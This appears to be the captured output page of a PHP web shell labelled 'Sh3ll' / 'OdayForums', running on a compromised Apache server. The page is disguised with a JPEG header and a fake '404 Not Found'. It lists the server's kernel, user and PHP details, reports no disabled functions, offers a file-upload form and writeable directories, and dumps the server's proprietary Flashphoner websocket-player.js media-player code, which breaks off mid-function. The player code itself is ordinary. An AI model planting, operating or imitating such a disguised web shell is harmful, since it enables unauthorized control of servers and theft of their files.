����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /usr/local/FlashphonerWebCallServer/client/dependencies/websocket-player/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/FlashphonerWebCallServer/client/dependencies/websocket-player/websocket-player.js
//LICENSE! This Code can be used and executed as a part of Flashphoner Web Call Server platform and having an appropriate Web Call Server license. You shall not use this code separately from Web Call Server platform. Contacts: http://flashphoner.com, [email protected].
function WebsocketPlayer(n,autoMuteCallback,infoCallback){this.initialized=false;this.p=null;this.ah=null;this.k=null;this.bp=n;this.q=[];this.m=[];this.decodedVideoBuffer=[];this.bk=[];this.infoCallback=infoCallback;this.autoMuteCallback=autoMuteCallback;if(this.infoCallback==undefined){this.infoCallback=function(){};}this.playerMuted=false;this.playerMutedByExternalMeans=false;this.an="";this.ak="";this.ab=0;this.am=0;this.al=0;this.ac=-1;this.audioRtcpPair=new RtcpPair(0,0,8000);this.videoRtcpPair=new RtcpPair(0,0,90000);this.aq=false;this.ao=false;this.bi=false;this.bb=false;this.receivedFirstIframe=false;this.av=0;this.ar=0;this.iyt=false;this.verbosity=2;this.initLogger(this.verbosity);this.stats={audioBytesReceived:0,videoBytesReceived:0,framesReceived:0,framesDecoded:0,framesDiscarded:0,framesDisplayed:0};this.hidden=undefined;this.hiddenSince=0;var visibilityChange;if(typeof document.hidden!=="undefined"){this.hidden="hidden";visibilityChange="visibilitychange";}else if(typeof document.mozHidden!=="undefined"){this.hidden="mozHidden";visibilityChange="mozvisibilitychange";}else if(typeof document.msHidden!=="undefined"){this.hidden="msHidden";visibilityChange="msvisibilitychange";}else if(typeof document.webkitHidden!=="undefined"){this.hidden="webkitHidden";visibilityChange="webkitvisibilitychange";}if(typeof this.hidden==="undefined"){wsLogger.error("Visibility API not supported, player will continue to play when in background");}else{document.addEventListener(visibilityChange,this.visibilityHandler.bind(this),false);}}var requestAnimFrame=(function(){return window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||function(callback){window.setTimeout(callback,16.666666666666668);};})();WebsocketPlayer.prototype.reset=function(){this.stop();};WebsocketPlayer.prototype.init=function(configuration){this.configuration=configuration;try{window.AudioContext=window.AudioContext||window.webkitAudioContext;var audioContext=new AudioContext;this.p=new AudioPlayer(audioContext,configuration.incomingAudioBufferLength,configuration.decodedBufferSize,this.infoCallback);}catch(e){wsLogger.error("Failed to init audio player"+e);}try{this.k=new VideoRenderer(this.bp,configuration.videoWidth,configuration.videoHeight,true);this.k.init();wsLogger.log("Using WebGL "+this.k.ap());this.ah=new VideoPlayer(this.by.bind(this),configuration.videoWorkerScriptURL);this.ah.initSocketClient(configuration.videoWidth,configuration.videoHeight,this.k.ap());}catch(e){wsLogger.error("Failed to init video player"+e);}this.av=parseInt(configuration.av)||1000;this.ar=parseInt(configuration.ar)||1000;this.autoMuteTimeout=parseInt(configuration.autoMuteTimeout)||10000;this.initialized=true;};WebsocketPlayer.prototype.resetVideoBuffers=function(){this.m=[];this.decodedVideoBuffer=[];this.bk=[];this.bb=false;this.ao=false;this.receivedFirstIframe=false;};WebsocketPlayer.prototype.resetAudioBuffers=function(){this.q=[];this.bi=false;this.p.resetBuffers();};WebsocketPlayer.prototype.initLogger=function(verbosity){this.verbosity=verbosity;var me=this;if(window.wsLogger==undefined){window.wsLogger={log:function(){if(me.verbosity>=2){window.console.log.apply(window.console,arguments);}},warn:function(){if(me.verbosity>=1){window.console.warn.apply(window.console,arguments);}},error:function(){if(me.verbosity>=0){window.console.error.apply(window.console,arguments);}},debug:function(){if(me.verbosity>=3){window.console.log.apply(window.console,arguments);}},trace:function(){if(me.verbosity>=4){window.console.log.apply(window.console,arguments);}}};}if(window.wsLogger.debug==undefined){window.wsLogger.debug=function(){if(me.verbosity>=3){window.console.log.apply(window.console,arguments);}};}if(window.wsLogger.trace==undefined){window.wsLogger.trace=function(){if(me.verbosity>=4){window.console.log.apply(window.console,arguments);}};}};WebsocketPlayer.prototype.getStreamStatistics=function(){return this.stats;};WebsocketPlayer.prototype.visibilityHandler=function(){if(!this.playerMutedByExternalMeans){if(document[this.hidden]){wsLogger.log("Document hidden, mute players");this.k.mute=true;this.p.mute(true);this.hiddenSince=Date.now();}else{wsLogger.log("Document active, unmute players");if(this.playerMuted){wsLogger.log("Request stream back");this.autoMuteCallback({unmute:""});}this.k.mute=false;this.p.mute(false);}}};WebsocketPlayer.prototype.by=function(picture){var buffEntry={};buffEntry.timestamp=this.bk.shift();if(buffEntry.timestamp==undefined){wsLogger.warn("No timestamp available for decoded picture, discarding");return;}wsLogger.trace("Decoded picture with ts "+buffEntry.timestamp);if(this.k.ap()){buffEntry.data={};buffEntry.data.y=new Uint8Array(picture.y.buffer);buffEntry.data.cr=new Uint8Array(picture.cr.buffer);buffEntry.data.cb=new Uint8Array(picture.cb.buffer);}else{var tmpPic=this.k.createImageData();tmpPic.data.set(new Uint8Array(picture.buffer));buffEntry.data=tmpPic;delete picture.buffer;}this.decodedVideoBuffer.push(buffEntry);this.stats.framesDecoded++;};WebsocketPlayer.prototype.playFirstSound=function(){if(this.initialized==false){this.init(this.configuration);}var audioBuffer=this.p.g.createBuffer(1,441,44100);var output=audioBuffer.getChannelData(0);for(var i=0;i<output.length;i++){output[i]=Math.random()*2-1;}var src=this.p.g.createBufferSource();src.buffer=audioBuffer;src.connect(this.p.gainNode);src.start(0);};WebsocketPlayer.prototype.bc=function(timestamp){var buffEntry=this.decodedVideoBuffer[0];if(buffEntry!=undefined){if(this.aq){if(this.p.timeStarted!=-1){var audioPlayerTime=this.bx();wsLogger.trace("requestVideoFrameCallback, audio player time "+audioPlayerTime+" callback timestamp "+timestamp);var entryTs=0;while(this.decodedVideoBuffer.length!=0){entryTs=this.decodedVideoBuffer[0].timestamp;if(audioPlayerTime-this.bf(false,entryTs)>100){this.stats.framesDiscarded++;wsLogger.debug("Drop old decoded video frame from buffer, ts "+entryTs+" video time "+this.bf(false,entryTs)+" audio time "+audioPlayerTime+" video_late_ms "+(audioPlayerTime-this.bf(false,entryTs))+" time now "+Date.now());this.decodedVideoBuffer.shift();wsLogger.debug("Frames in buffer "+this.decodedVideoBuffer.length);}else{break;}}if(this.decodedVideoBuffer.length!=0&&this.bf(false,this.decodedVideoBuffer[0].timestamp)<=audioPlayerTime){this.k.render(this.decodedVideoBuffer.shift().data);wsLogger.trace("Play picture ts "+this.bf(false,buffEntry.timestamp)+" buffer size "+this.decodedVideoBuffer.length);}else{if(this.decodedVideoBuffer.length!=0){wsLogger.trace("Video picture time in buffer "+this.bf(false,this.decodedVideoBuffer[0].timestamp)+" player time "+audioPlayerTime);}else{wsLogger.log("No decoded frame available");}}}}else{var currentTime=Date.now();if(this.ab==0){this.ab=currentTime;this.am=buffEntry.timestamp;this.k.render(this.decodedVideoBuffer.shift().data);this.stats.framesDisplayed++;wsLogger.log("Init Video playout without sync, currentTime "+currentTime+", timestamp "+buffEntry.timestamp);}else{var elapsed=currentTime-this.ab;var rtpElapsed=this.o(buffEntry.timestamp,90000)-this.o(this.am,90000);if(elapsed>rtpElapsed){this.k.render(this.decodedVideoBuffer.shift().data);this.ab+=rtpElapsed;this.am=buffEntry.timestamp;this.stats.framesDisplayed++;}}}}if(this.ao){if(this.decodedVideoBuffer.length<=5&&this.m.length!=0){this.feedVideoDecoder();}requestAnimFrame(this.bc.bind(this));}};WebsocketPlayer.prototype.incomingPacketTick=function(){if(document[this.hidden]&&Date.now()-this.hiddenSince>this.autoMuteTimeout||this.playerMutedByExternalMeans){if(!this.playerMuted){wsLogger.log("Document hidden for "+(Date.now()-this.hiddenSince)+", suspend stream");this.playerMuted=true;this.autoMuteCallback({mute:""});this.resetAudioBuffers();this.resetVideoBuffers();}}else if(this.playerMuted){this.playerMuted=false;this.iyt=true;}};WebsocketPlayer.prototype.onDataReceived=function(event){if(this.initialized==false){this.init(this.configuration);}this.incomingPacketTick();if(this.playerMuted){return;}var view=new DataView(event.data);var d=1;var header=view.getUint8(0);var packetType=header>>2&3;var ssrc=header>>1&1;var timestamp=header&1;if(packetType==1){this.bt(view,timestamp,ssrc);}else if(packetType==2){this.au(view,timestamp,ssrc);}else if(packetType==3){this.bw(this.d(new Uint8Array(event.data),d));}else{wsLogger.warn("Unknown binary data received, type "+packetType);}};WebsocketPlayer.prototype.bt=function(view,timestamp,ssrc){this.stats.videoBytesReceived+=view.byteLength;var d=1;if(ssrc){this.ak=view.getUint32(d);d+=4;}var ts=0;if(timestamp){ts=view.getUint32(d);d+=4;}var entry=this.m[this.m.length-1];var frame;var payload=this.d(new Uint8Array(view.buffer),d);var complete=(payload[2]>>3&1)==1;if(entry==undefined||entry.getTs()!=ts){var kframe=(payload[2]&7)==1;var beginOfFrame=(payload[2]>>4&1)==1;if(!beginOfFrame){wsLogger.trace("Drop frame, not a beginning, ts "+ts);return;}frame=new VideoFrame(payload,ts,kframe,complete);wsLogger.trace("Created frame "+ts+" iskframe "+kframe+" complete "+complete);if(!this.receivedFirstIframe&&frame.isKFrame()){wsLogger.debug("video ts first "+ts);this.receivedFirstIframe=true;}else if(!this.receivedFirstIframe){return;}this.m.push(frame);}else{frame=entry;frame.addPayload(payload,complete);wsLogger.trace("Add payload to frame "+ts+" complete "+complete);}if(complete){this.stats.framesReceived++;}wsLogger.trace("Incoming video packet ts "+frame.getTs()+" complete "+frame.isComplete());if(this.decodedVideoBuffer.length<=5){this.feedVideoDecoder();}else if(this.bb){this.bc();}if(!this.bb){if(this.ar<=this.getVideoBufferTimeLength()){wsLogger.log("Video buffered, start playout");this.bb=true;this.ao=true;requestAnimFrame(this.bc.bind(this));}else if(this.bi){wsLogger.log("Start video playback, audio already playing. Video buffered "+this.getVideoBufferTimeLength());this.bb=true;this.ao=true;requestAnimFrame(this.bc.bind(this));}}};WebsocketPlayer.prototype.feedVideoDecoder=function(){var frame=this.m[0];if(this.getVideoBufferTimeLength()<0){while(this.getVideoBufferTimeLength()<0&&this.decodedVideoBuffer.length!=0){this.decodedVideoBuffer.shift();this.stats.framesDiscarded++;}}if(frame!=undefined&&frame.isComplete()&&this.bk.length+this.decodedVideoBuffer.length<=5){frame=this.m.shift();this.bk.push(frame.getTs());while(frame.payload.length!=0){this.ah.receiveSocketMessage(frame.payload.shift());this.stats.framesDisplayed++;}}};WebsocketPlayer.prototype.dropAcquiredDelay=function(){var videoBuffer=this.getVideoBufferTimeLength();var audioBuffer=this.getAudioBufferTimeLength();wsLogger.debug("Dropping data, video ms "+videoBuffer+" audio ms "+audioBuffer);if(videoBuffer<=0){wsLogger.log("No video, return");return;}if(this.m.length>1){var i=this.m.length-1;while(i>=0){if(this.m[i].isComplete()&&this.m[i].isKFrame()){wsLogger.debug("Found K-Frame, ts "+this.m[i].getTs());var videoFrameTime=this.bf(false,this.m[i].getTs());var audioCurrentTime=this.bx();var droppingMs=Math.round(videoFrameTime-audioCurrentTime);wsLogger.debug("Going to drop stream ms "+droppingMs);if(audioBuffer-droppingMs<this.av){wsLogger.debug("Skip drop point, to much audio to drop");i--;continue;}wsLogger.log("Dropping "+droppingMs+"ms from buffers");this.stats.framesDiscarded+=i;var slicePos=-(this.m.length-i);this.m=this.m.slice(slicePos);if(droppingMs<1){break;}droppingMs=this.p.dropBufferDataMs(droppingMs);if(droppingMs>0){wsLogger.debug("Try to drop additional audio from incoming audio buffer "+droppingMs);while(this.q.length>0){this.q.shift();this.p.moveTimeForward(20);droppingMs-=20;if(droppingMs<=0){break;}}}wsLogger.debug("Left ms to drop "+droppingMs+" audio time change "+(this.bx()-audioCurrentTime));break;}i--;}}else{wsLogger.warn("Unable to drop delay from buffers!");}};WebsocketPlayer.prototype.getVideoBufferTimeLength=function(){var firstEntryTs;var lastEntryTs;if(this.decodedVideoBuffer.length!=0){firstEntryTs=this.decodedVideoBuffer[0].timestamp;lastEntryTs=this.decodedVideoBuffer[this.decodedVideoBuffer.length-1].timestamp;}if(this.bk.length!=0&&firstEntryTs==undefined){firstEntryTs=this.bk[0];}if(this.m.length!=0){if(firstEntryTs==undefined){firstEntryTs=this.m[this.m.length-1].getTs();}lastEntryTs=this.m[this.m.length-1].getTs();}else if(this.bk.length!=0){lastEntryTs=this.bk[0];}if(lastEntryTs!=undefined&&firstEntryTs!=undefined&&lastEntryTs!=firstEntryTs){return this.o(lastEntryTs-firstEntryTs,90000);}return 0;};WebsocketPlayer.prototype.getAudioBufferTimeLength=function(){return this.q.length*20+this.p.rwhjgf();};WebsocketPlayer.prototype.au=function(view,timestamp,ssrc){this.stats.audioBytesReceived+=view.byteLength;var d=1;var buffEntry={};if(ssrc){this.an=view.getUint32(d);d+=4;}if(timestamp){if(!this.iyt&&this.al!=undefined){if(view.getUint32(d)-this.al!=160){var shift=(view.getUint32(d)-this.al)/160*20-20;wsLogger.debug("Detected lost audio data ms by timestamp, lost "+shift+"ms");this.p.moveTimeForward(shift);}}this.al=view.getUint32(d);d+=4;}if(this.ac==-1){this.ac=this.al;wsLogger.debug("Audio ts first "+this.ac);}if(this.iyt){this.ac=this.al;this.p.waitingForBuffer=true;this.iyt=false;}buffEntry.timestamp=this.al;buffEntry.data=this.d(new Uint8Array(view.buffer),d);var ptime=buffEntry.data.length/8000*1000;this.q.push(buffEntry);if(!this.bi){if(this.p.getBufferRemainingMs()>ptime){this.p.bs(this.q.shift().data);}if(this.av<=this.q.length*ptime+this.p.rwhjgf()){wsLogger.log("Initial audio buffer filled");this.bi=true;this.p.waitingForBuffer=false;this.p.start();}}else{if(this.getAudioBufferTimeLength()>this.av*4){wsLogger.debug("Trying to drop data, audio buffer "+this.getAudioBufferTimeLength());this.dropAcquiredDelay();}while(this.q.length!=0&&this.p.getBufferRemainingMs()>ptime){this.p.bs(this.q.shift().data);}}};WebsocketPlayer.prototype.bw=function(data){wsLogger.debug("received rtcp");var view=new DataView(data.buffer);var ntpTimeMs;var tsTimeMs;var syncDifference=0;if(this.an==view.getInt32(0)){ntpTimeMs=view.getUint32(8)*1000+this.bh(view.getUint32(12));syncDifference=this.audioRtcpPair.update(ntpTimeMs,view.getUint32(4));if(this.bi){if(syncDifference!=0){wsLogger.debug("Audio sync shift is "+syncDifference+" ts "+view.getUint32(4));}}}else if(this.ak==view.getInt32(0)){ntpTimeMs=view.getUint32(8)*1000+this.bh(view.getUint32(12));syncDifference=this.videoRtcpPair.update(ntpTimeMs,view.getUint32(4));if(this.bb){if(syncDifference!=0){wsLogger.debug("Video sync shift is "+syncDifference+" ts "+view.getUint32(4));}}}else{wsLogger.warn("Received rtcp with unknown ssrc!");}if(this.audioRtcpPair.getTime(1)!=0&&this.videoRtcpPair.getTime(1)!=0){this.aq=true;}};WebsocketPlayer.prototype.pause=function(){this.playerMutedByExternalMeans=true;this.k.mute=true;this.p.mute(true);};WebsocketPlayer.prototype.resume=function(){this.playerMutedByExternalMeans=false;this.k.mute=false;this.p.mute(false);this.autoMuteCallback({unmute:""});};WebsocketPlayer.prototype.stop=function(){this.initialized=false;if(this.p){this.resetAudioBuffers();this.p.stop();this.p.g.close();delete this.p;}if(this.ah){this.resetVideoBuffers();this.ah.stop();delete this.ah;}if(this.k){delete this.k;}this.an="";this.audioRtcpPair=new RtcpPair(0,0,8000);this.ac=-1;this.al=0;this.ak="";this.videoRtcpPair=new RtcpPair(0,0,90000);this.ab=0;this.am=0;this.aq=false;this.playerMutedByExternalMeans=false;};WebsocketPlayer.prototype.d=function(data,length){var ret=new Uint8Array(data.byteLength-length);for(var i=0;i<ret.byteLength;i++,length++){ret[i]=data[length];}return ret;};WebsocketPlayer.prototype.bh=function(fraction){return fraction*1000/4294967296;};WebsocketPlayer.prototype.o=function(ts,rate){return ts/rate*1000;};WebsocketPlayer.prototype.bf=function(isAudio,ts){if(isAudio){return this.audioRtcpPair.getTime(ts);}else{return this.videoRtcpPair.getTime(ts);}};WebsocketPlayer.prototype.bx=function(){return this.p.bm()+this.bf(true,this.ac);};var VideoPlayer=function(callback,videoWorkerScriptURL){if(!videoWorkerScriptURL){videoWorkerScriptURL="../../dependencies/websocket-player/video-worker.js";}this.worker=new Worker(videoWorkerScriptURL);this.worker.onmessage=function(e){callback(e.data);};};VideoPlayer.prototype.initSocketClient=function(width,height,outputGl){this.worker.postMessage({message:"init",width:width,height:height,outputGl:outputGl});};VideoPlayer.prototype.receiveSocketMessage=function(data){this.worker.postMessage({message:"decode",data:data.buffer},[data.buffer]);};VideoPlayer.prototype.stop=function(){this.worker.terminate();};var VideoRenderer=function(n,width,height,at){this.n=n;this.width=width;this.height=height;this.ad=null;this.v=null;this.at=at;this.gl=null;this.h=null;this.buffer=null;this.az=null;this.ba=null;this.ay=null;this.mute=false;var mbWidth=parseInt(width)+15>>4;this.bv=mbWidth<<4;this.ax=mbWidth<<3;this.bu=["precision mediump float;","uniform sampler2D YTexture;","uniform sampler2D CBTexture;","uniform sampler2D CRTexture;","varying vec2 texCoord;","void main() {","float y = texture2D(YTexture, texCoord).r;","float cr = texture2D(CBTexture, texCoord).r - 0.5;","float cb = texture2D(CRTexture, texCoord).r - 0.5;","gl_FragColor = vec4(","y + 1.4 * cr,","y + -0.343 * cb - 0.711 * cr,","y + 1.765 * cb,","1.0",");","}"].join("\n");this.bz=["attribute vec2 vertex;","varying vec2 texCoord;","void main() {","texCoord = vertex;","gl_Position = vec4((vertex * 2.0 - 1.0) * vec2(1, -1), 0.0, 1.0);","}"].join("\n");};VideoRenderer.prototype.init=function(){if(!this.at){try{var gl=this.gl=this.n.getContext("webgl")||this.n.getContext("experimental-webgl");}catch(e){wsLogger.error("Failed to get webgl context, error "+e);}}if(gl){this.buffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,this.buffer);gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([0,0,0,1,1,0,1,1]),gl.STATIC_DRAW);this.h=gl.createProgram();gl.attachShader(this.h,this.compileShader(gl.VERTEX_SHADER,this.bz));gl.attachShader(this.h,this.compileShader(gl.FRAGMENT_SHADER,this.bu));gl.linkProgram(this.h);if(!gl.getProgramParameter(this.h,gl.LINK_STATUS)){wsLogger.error("Failed to init WebGL! Message "+gl.getProgramInfoLog(this.h));this.v=this.n.getContext("2d");this.ad=this.bg;return;}gl.useProgram(this.h);this.az=this.createTexture(0,"YTexture");this.ba=this.createTexture(1,"CBTexture");this.ay=this.createTexture(2,"CRTexture");var vertexAttr=gl.getAttribLocation(this.h,"vertex");gl.enableVertexAttribArray(vertexAttr);gl.vertexAttribPointer(vertexAttr,2,gl.FLOAT,false,0,0);gl.viewport(0,0,this.width,this.height);this.ad=this.renderFrameGL;}else{this.v=this.n.getContext("2d");this.ad=this.bg;}};VideoRenderer.prototype.createTexture=function(index,name){var gl=this.gl;var texture=gl.createTexture();gl.bindTexture(gl.TEXTURE_2D,texture);gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MAG_FILTER,gl.LINEAR);gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MIN_FILTER,gl.LINEAR);gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_S,gl.CLAMP_TO_EDGE);gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_T,gl.CLAMP_TO_EDGE);gl.uniform1i(gl.getUniformLocation(this.h,name),index);return texture;};VideoRenderer.prototype.compileShader=function(type,source){var gl=this.gl;var shader=gl.createShader(type);gl.shaderSource(shader,source);gl.compileShader(shader);if(!gl.getShaderParameter(shader,gl.COMPILE_STATUS)){throw new Error(gl.getShaderInfoLog(shader));}return shader;};VideoRenderer.prototype.ap=function(){return(this.gl!==null||this.gl!==undefined)&&(this.v==null||this.v==undefined);};VideoRenderer.prototype.renderFrameGL=function(data){var gl=this.gl;var uint8Y=new Uint8Array(data.y.buffer),uint8Cr=new Uint8Array(data.cr.buffer),uint8Cb=new Uint8Array(data.cb.buffer);gl.activeTexture(gl.TEXTURE0);gl.bindTexture(gl.TEXTURE_2D,this.az);gl.texImage2D(gl.TEXTURE_2D,0,gl.LUMINANCE,this.bv,this.height,0,gl.LUMINANCE,gl.UNSIGNED_BYTE,uint8Y);gl.activeTexture(gl.TEXTURE1);gl.bindTexture(gl.TEXTURE_2D,this.ba);gl.texImage2D(gl.TEXTURE_2D,0,gl.LUMINANCE,this.ax,this.height/2,0,gl.LUMINANCE,gl.UNSIGNED_BYTE,uint8Cr);gl.activeTexture(gl.TEXTURE2);gl.bindTexture(gl.TEXTURE_2D,this.ay);gl.texImage2D(gl.TEXTURE_2D,0,gl.LUMINANCE,this.ax,this.height/2,0,gl.LUMINANCE,gl.UNSIGNED_BYTE,uint8Cb);gl.drawArrays(gl.TRIANGLE_STRIP,0,4);};VideoRenderer.prototype.bg=function(data){this.v.putImageData(data,0,0);};VideoRenderer.prototype.render=function(data){if(!this.mute){this.ad(data);}};VideoRenderer.prototype.createImageData=function(){return this.v.createImageData(this.width,this.height);};function AudioPlayer(audioContext,j,decodedBufferSize,infoCallback){var me=this;this.infoCallback=infoCallback;this.initBuffers(decodedBufferSize);this.l=false;this.g=audioContext;this.gainNode=audioContext.createGain();this.gainNode.connect(audioContext.destination);this.mute(true);this.f=new Resampler(8000,this.g.sampleRate,1,this.g.sampleRate,true);wsLogger.log("Sample rate "+this.g.sampleRate);this.timeStarted=-1;var allowedValues=[];var i;for(i=256;i<=16384;i=i*2){allowedValues.push(i);}var nearest=this.g.sampleRate/10;var recommendedBufferSize=allowedValues[0];var diff=Math.abs(nearest-recommendedBufferSize);for(i=0;i<allowedValues.length;i++){var newdiff=Math.abs(nearest-allowedValues[i]);if(newdiff<diff){diff=newdiff;recommendedBufferSize=allowedValues[i];}}wsLogger.log("Recommended buff size "+recommendedBufferSize);this.j=parseInt(j)||recommendedBufferSize;this.waitingForBuffer=true;try{this.g.createScriptProcessor=this.g.createScriptProcessor||this.g.createJavaScriptNode;this.u=this.g.createScriptProcessor(this.j,1,1);}catch(e){wsLogger.error("JS Audio Node is not supported in this browser"+e);}this.u.onaudioprocess=function(event){var bufferSize=me.j;var decoded;var output;var i;if(me.waitingForBuffer){me.timeStarted=-1;output=event.outputBuffer.getChannelData(0);for(i=0;i<bufferSize;i++){output[i]=0;}return;}if(me.decodedBufferPos>=bufferSize){if(me.started==undefined){me.started=Date.now();me.processed=0;me.notifyThreshold=100;}decoded=me.as(bufferSize);output=event.outputBuffer.getChannelData(0);for(i=0;i<output.length;i++){output[i]=decoded[i];}if(me.timeStarted==-1){wsLogger.debug("Audio Player, playing first buffer!");me.timeStarted=me.g.currentTime;me.started=Date.now();me.processed=0;me.notifyThreshold=100;console.log("TIME STARTED "+me.timeStarted+" time now "+Date.now());}me.processed++;}else{var missingSamplesLength=bufferSize-me.decodedBufferPos;if(me.gainNode.gain.value==1){wsLogger.debug("Not enough data in audio buffer! Playing silence samples, size "+missingSamplesLength);}decoded=me.as(me.decodedBufferPos);output=event.outputBuffer.getChannelData(0);for(i=0;i<decoded.length;i++){output[i]=decoded[i];}for(;i<output.length;i++){output[i]=0;}me.timeStarted+=missingSamplesLength/me.g.sampleRate;me.processed++;}};this.codec=new G711U;wsLogger.log("AudioPlayer ready, incoming buffer length "+this.j);}AudioPlayer.prototype.initBuffers=function(decodedBufferSize){this.decodedBufferSize=parseInt(decodedBufferSize)||2822400;this.decodedBufferArray=new ArrayBuffer(this.decodedBufferSize);this.decodedBufferView=new Float32Array(this.decodedBufferArray);for(var i=0;i<this.decodedBufferView.length;i++){this.decodedBufferView[i]=0;}this.decodedBufferPos=0;wsLogger.log("Buffers ready");};AudioPlayer.prototype.resetBuffers=function(){wsLogger.debug("Reset audio buffer");for(var i=0;i<this.decodedBufferView.length;i++){this.decodedBufferView[i]=0;}};AudioPlayer.prototype.dropBufferDataMs=function(lengthMs){if(this.rwhjgf()>=lengthMs){var inSamples=Math.round(lengthMs/1000*this.g.sampleRate);wsLogger.debug("Dropping audio samples "+inSamples+" this.context.sampleRate "+this.g.sampleRate);this.as(inSamples);this.moveTimeForward(lengthMs);return 0;}else{var availableToDrop=this.rwhjgf();var inSamples=Math.round(availableToDrop/1000*this.g.sampleRate);wsLogger.debug("Drop all decoded audio "+inSamples);this.as(inSamples);this.moveTimeForward(availableToDrop);return lengthMs-availableToDrop;}};AudioPlayer.prototype.moveTimeForward=function(lengthMs){this.timeStarted-=lengthMs/1000;};AudioPlayer.prototype.mute=function(mute){if(mute){wsLogger.log("Audio player mute");this.gainNode.gain.value=0;}else{wsLogger.log("Audio player resume");this.gainNode.gain.value=1;}};AudioPlayer.prototype.bs=function(payload){var pcm16Data=this.codec.br(payload);delete payload.buffer;var retBuff=new Float32Array(pcm16Data.byteLength/2);var incomingDataView=new DataView(pcm16Data.buffer);for(var i=0;i<retBuff.length;i++){retBuff[i]=incomingDataView.getInt16(i*2,true)/32768;}var resampledLength=this.f.f(retBuff,[retBuff.buffer]);var resampledResult=this.f.outputBuffer.subarray(0,resampledLength);this.aj(resampledResult);};AudioPlayer.prototype.start=function(){if(!this.l){this.u.connect(this.gainNode);this.mute(false);this.l=true;}};AudioPlayer.prototype.cg=function(payload){var retBuff=new Float32Array(payload.byteLength/2);var incomingDataView=new DataView(payload.buffer);for(var i=0;i<retBuff.length;i++){retBuff[i]=incomingDataView.getInt16(i*2,true)/32768;}var resampledLength=this.f.f(retBuff);var resampledResult=this.f.outputBuffer.subarray(0,resampledLength);this.aj(resampledResult);this.incomingBufferPos=0;if(!this.l&&this.decodedBufferPos>this.j){this.u.connect(this.g.destination);this.l=true;}};AudioPlayer.prototype.ch=function(payload){var retBuff=new Float32Array(payload.byteLength/4);var incomingDataView=new DataView(payload.buffer);for(var i=0;i<retBuff.length;i++){retBuff[i]=incomingDataView.getFloat32(i*4,true);}var resampledLength=me.f.f(retBuff);var resampledResult=me.f.outputBuffer.subarray(0,resampledLength);this.aj(resampledResult);if(!me.l&&this.decodedBufferPos>this.j){me.u.connect(me.g.destination);me.l=true;}};AudioPlayer.prototype.cf=function(payload){var retBuff=new Float32Array(payload.byteLength/4);var incomingDataView=new DataView(payload.buffer);for(var i=0;i<retBuff.length;i++){retBuff[i]=incomingDataView.getFloat32(i*4,true);}this.aj(retBuff);if(!me.l&&this.decodedBufferPos>this.j){me.u.connect(me.g.destination);me.l=true;}};AudioPlayer.prototype.stop=function(){this.u.disconnect();};AudioPlayer.prototype.bm=function(){if(this.timeStarted==-1){return 0;}return(this.g.currentTime-this.timeStarted)*1000;};AudioPlayer.prototype.rwhjgf=function(){return this.decodedBufferPos/this.g.sampleRate*1000;};AudioPlayer.prototype.getBufferRemainingMs=function(){return(this.decodedBufferSize/4-this.decodedBufferPos)/this.g.sampleRate*1000;};AudioPlayer.prototype.aj=function(data){var i;if(this.decodedBufferSize/4-this.decodedBufferPos>data.length){for(i=0;i<data.length;i++){this.decodedBufferView[this.decodedBufferPos++]=data[i];}}else{wsLogger.debug("Decoded audio buffer full, shift data and time. This can result in audio glitch");var avail=this.decodedBufferSize/4-this.decodedBufferPos;var shift=data.length-avail;var dataIgnored=this.as(shift);for(i=0;i<data.length;i++){this.decodedBufferView[this.decodedBufferPos++]=data[i];}this.timeStarted+=shift/me.g.sampleRate;}};AudioPlayer.prototype.as=function(length){var ret=new Float32Array(length);var i;for(i=0;i<length;i++){ret[i]=this.decodedBufferView[i];}var pos=this.decodedBufferPos;for(i=0;i<pos-length;i++){this.decodedBufferView[i]=this.decodedBufferView[i+length];}this.decodedBufferPos=pos-length;return ret;};AudioPlayer.prototype.now=function(){return window.performance?window.performance.now():Date.now();};var G711U=window.G711U=function(){this.SIGN_BIT=128;this.BIAS=132;this.SEG_SHIFT=4;this.QUANT_MASK=15;this.SEG_MASK=112;};G711U.prototype.br=function(data){var payload=data;var ret=new Uint8Array(data.length*2);var index;for(index=0;index<payload.length;++index){var tmp=this.bq(payload[index]);var index2=index<<1;ret[index2]=tmp&255;ret[++index2]=(tmp&65280)>>>8;}return ret;};G711U.prototype.bq=function(data){var t;data=~data;t=((data&this.QUANT_MASK)<<3)+this.BIAS;t<<=(data&this.SEG_MASK)>>this.SEG_SHIFT;return(data&this.SIGN_BIT)!=0?this.BIAS-t:t-this.BIAS;};G711U.prototype.ce=function(){return this.be("524946466406000057415645666d74201000000001000100401f0000803e0000020010006461746140060000");};G711U.prototype.ca=function(str){var view=new DataView(this.be(str).buffer);var index=0;wsLogger.log("RIFF "+view.getInt32(index));index+=4;wsLogger.log("Chunk size:"+view.getInt32(index,true));index+=4;wsLogger.log("Format:"+view.getInt32(index));index+=4;wsLogger.log("Subchunk id:"+view.getInt32(index));index+=4;wsLogger.log("Subchunk size:"+view.getInt32(index,true));index+=4;wsLogger.log("AudioFormat:"+view.getInt16(index,true));index+=2;wsLogger.log("NumChannels:"+view.getUint16(index,true));index+=2;wsLogger.log("Sample rate:"+view.getInt32(index,true));index+=4;wsLogger.log("Byte rate:"+view.getInt32(index,true));};G711U.prototype.be=function(str){var ret=[];for(var i=0;i<str.length;i+=2){ret.push(parseInt("0x"+str.substr(i,2),16));}return new Uint8Array(ret);};G711U.prototype.bo=function(b){var hexChar=["0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F"];return hexChar[b>>4&15]+hexChar[b&15];};G711U.prototype.cd=function(data){var str="";var table="";for(var i=0;i<data.byteLength;i++){var tmp=this.bo(data[i]);str+=tmp;table+=tmp;if(i%32==0){table+="\n";}}wsLogger.log(str);wsLogger.log(table);};function 